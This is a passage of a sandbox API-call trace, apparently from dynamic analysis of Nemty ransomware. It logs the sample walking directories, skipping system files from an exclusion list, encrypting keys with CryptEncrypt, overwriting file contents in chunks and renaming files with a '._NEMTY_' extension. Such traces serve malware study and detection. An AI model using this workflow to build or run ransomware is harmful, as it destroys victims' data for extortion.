nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.584] CloseHandle (hObject=0xffffffff) returned 0 [0130.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0130.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0130.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png._nemty_kgobjgd_")) returned 0 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.584] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_left_mouseover.png", cAlternateFileName="")) returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2=".") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="..") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="...") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="windows") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="$RECYCLE.BIN") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="rsa") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="NTDETECT.COM") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="ntldr") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="MSDOS.SYS") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="IO.SYS") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="boot.ini") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="boot.ini") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="ntuser.dat") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="desktop.ini") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="CONFIG.SYS") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="RECYCLER") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="BOOTSECT.BAK") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="bootmgr") returned 1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="programdata") returned -1 [0130.585] lstrcmpiW (lpString1="button_left_mouseover.png", lpString2="appdata") returned 1 [0130.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseover.png", lpUsedDefaultChar=0x0) returned 25 [0130.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseover.png", lpUsedDefaultChar=0x0) returned 25 [0130.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseover.png", lpUsedDefaultChar=0x0) returned 25 [0130.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseover.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseover.png", lpUsedDefaultChar=0x0) returned 25 [0130.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0130.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.586] Sleep (dwMilliseconds=0x5) [0130.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17dbc30, dwHighDateTime=0x1d561e8)) [0130.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17dbc30, dwHighDateTime=0x1d561e8)) [0130.601] GetLastError () returned 0x5 [0130.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.601] GetLastError () returned 0x5 [0130.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.601] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.601] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="I2w1ytkEbejTRLKWceLacH64C36PNf17mQSvlak0xesATjwu94DttjtTNi92/wXB\r\n+V+O/+6MePh28RkfAVVCaCEqmpsL5KtPokBs7wnp8sRUcBqlOyKmhhqhFPnt9mMN\r\nzaBW70CNtfE41q1ykGXFLN2w9JJqIXXuSQs0Jj6vD/p9U1SyC6LBK8Jsexl4wREp\r\nnuVZAQZqCVUJ7n48G5FsG6NXTSlEeYwToXFpIWDbJ40uiJg0yQXw2daA9vdzrZAb\r\nIn0FOAJMxslmU7SDOGd3As6TF+iYISLcfUiHZtpWJO1bXZ4OEGPR7xdvLB2VXath\r\nzs2a6kpck+JB3oRC9TgqUQ==\r\n", pcchString=0x653e91c) returned 1 [0130.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.602] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.602] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 